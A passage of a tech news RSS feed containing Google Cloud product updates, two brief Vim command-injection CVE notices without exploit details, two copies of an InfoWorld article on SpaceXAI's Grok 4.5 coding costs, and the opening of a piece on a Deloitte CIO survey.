<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59858 | Vim up to 9.2.734 Omni Completion ccomplete.vim os command injection (Nessus ID 326292)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Vim up to 9.2.734. This issue affects some unknown processing of the file runtime/autoload/ccomplete.vim of the component Omni Completion. The manipulation results in os command injection.

This vulnerability is known as CVE-2026-59858. Attac...]]></description>
<link>https://tsecurity.de/de/3661215/sicherheitsluecken/cve-2026-59858-vim-up-to-92734-omni-completion-ccompletevim-os-command-injection-nessus-id-326292/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661215/sicherheitsluecken/cve-2026-59858-vim-up-to-92734-omni-completion-ccompletevim-os-command-injection-nessus-id-326292/</guid>
<pubDate>Sat, 11 Jul 2026 06:07:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/vim">Vim up to 9.2.734</a>. This issue affects some unknown processing of the file <em>runtime/autoload/ccomplete.vim</em> of the component <em>Omni Completion</em>. The manipulation results in os command injection.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-59858">CVE-2026-59858</a>. Attacking locally is a requirement. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59856 | Vim up to 9.1.x PHP Omni-Completion phpcomplete.vim search os command injection (Nessus ID 326288)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Vim up to 9.1.x. Affected by this issue is the function Search of the file runtime/autoload/phpcomplete.vim of the component PHP Omni-Completion. Performing a manipulation results in os command injection.

This vulnerability is reported as C...]]></description>
<link>https://tsecurity.de/de/3661212/sicherheitsluecken/cve-2026-59856-vim-up-to-91x-php-omni-completion-phpcompletevim-search-os-command-injection-nessus-id-326288/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661212/sicherheitsluecken/cve-2026-59856-vim-up-to-91x-php-omni-completion-phpcompletevim-search-os-command-injection-nessus-id-326288/</guid>
<pubDate>Sat, 11 Jul 2026 06:07:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/vim">Vim up to 9.1.x</a>. Affected by this issue is the function <code>Search</code> of the file <em>runtime/autoload/phpcomplete.vim</em> of the component <em>PHP Omni-Completion</em>. Performing a manipulation results in os command injection.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-59856">CVE-2026-59856</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Maine’s Senate Race Implodes, Meta’s Threads Rivals Musk’s X, and the Trump Phone Arrives]]></title>
<description><![CDATA[Today on Uncanny Valley, we unpack the political debacle unfolding in Maine surrounding the campaign of Democratic candidate Graham Platner.]]></description>
<link>https://tsecurity.de/de/3658332/it-nachrichten/maines-senate-race-implodes-metas-threads-rivals-musks-x-and-the-trump-phone-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658332/it-nachrichten/maines-senate-race-implodes-metas-threads-rivals-musks-x-and-the-trump-phone-arrives/</guid>
<pubDate>Fri, 10 Jul 2026 00:01:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Today on Uncanny Valley, we unpack the political debacle unfolding in Maine surrounding the campaign of Democratic candidate Graham Platner.]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656700/ai-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656700/ai-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</guid>
<pubDate>Thu, 09 Jul 2026 12:33:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656692/it-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</guid>
<pubDate>Thu, 09 Jul 2026 12:32:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



<p>“It is too early to say if Grok 4.5 is a game changer,” said <a href="https://www.jpdata.co/about/">Anand</a><a href="https://www.jpdata.co/about/" target="_blank" rel="noreferrer noopener"> </a><a href="https://www.jpdata.co/about/">Joshi</a>, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”</p>



<h2 class="wp-block-heading">Cost per task, not cost per token</h2>



<p>“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p>A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.</p>



<p>A bigger concern, according to <a href="https://omdia.tech.informa.com/authors/lian-jye-su">Lian Jye Su</a>, chief analyst at Omdia, is that token use has become too easy a proxy for value.</p>



<p>“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”</p>



<p>That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.</p>



<p>Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.</p>



<h2 class="wp-block-heading">Where Grok 4.5 may fit</h2>



<p>Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.</p>



<p>Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.</p>



<p>Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.</p>



<p>Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.</p>



<p><em>The article originally appeared on <a href="https://www.infoworld.com/article/4194895/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT isn’t holding AI back, your business processes are]]></title>
<description><![CDATA[Most CIOs and other IT leaders are confident in their teams’ ability to meet the coming AI challenges, but many believe business operating models and processes need an overhaul.



More than 80% of senior IT executives surveyed for the 2026 Global Leadership Technology Study from Deloitte are con...]]></description>
<link>https://tsecurity.de/de/3656620/it-nachrichten/it-isnt-holding-ai-back-your-business-processes-are/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656620/it-nachrichten/it-isnt-holding-ai-back-your-business-processes-are/</guid>
<pubDate>Thu, 09 Jul 2026 12:17:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Most CIOs and other IT leaders are confident in their teams’ ability to meet the coming AI challenges, but many believe business operating models and processes need an overhaul.</p>



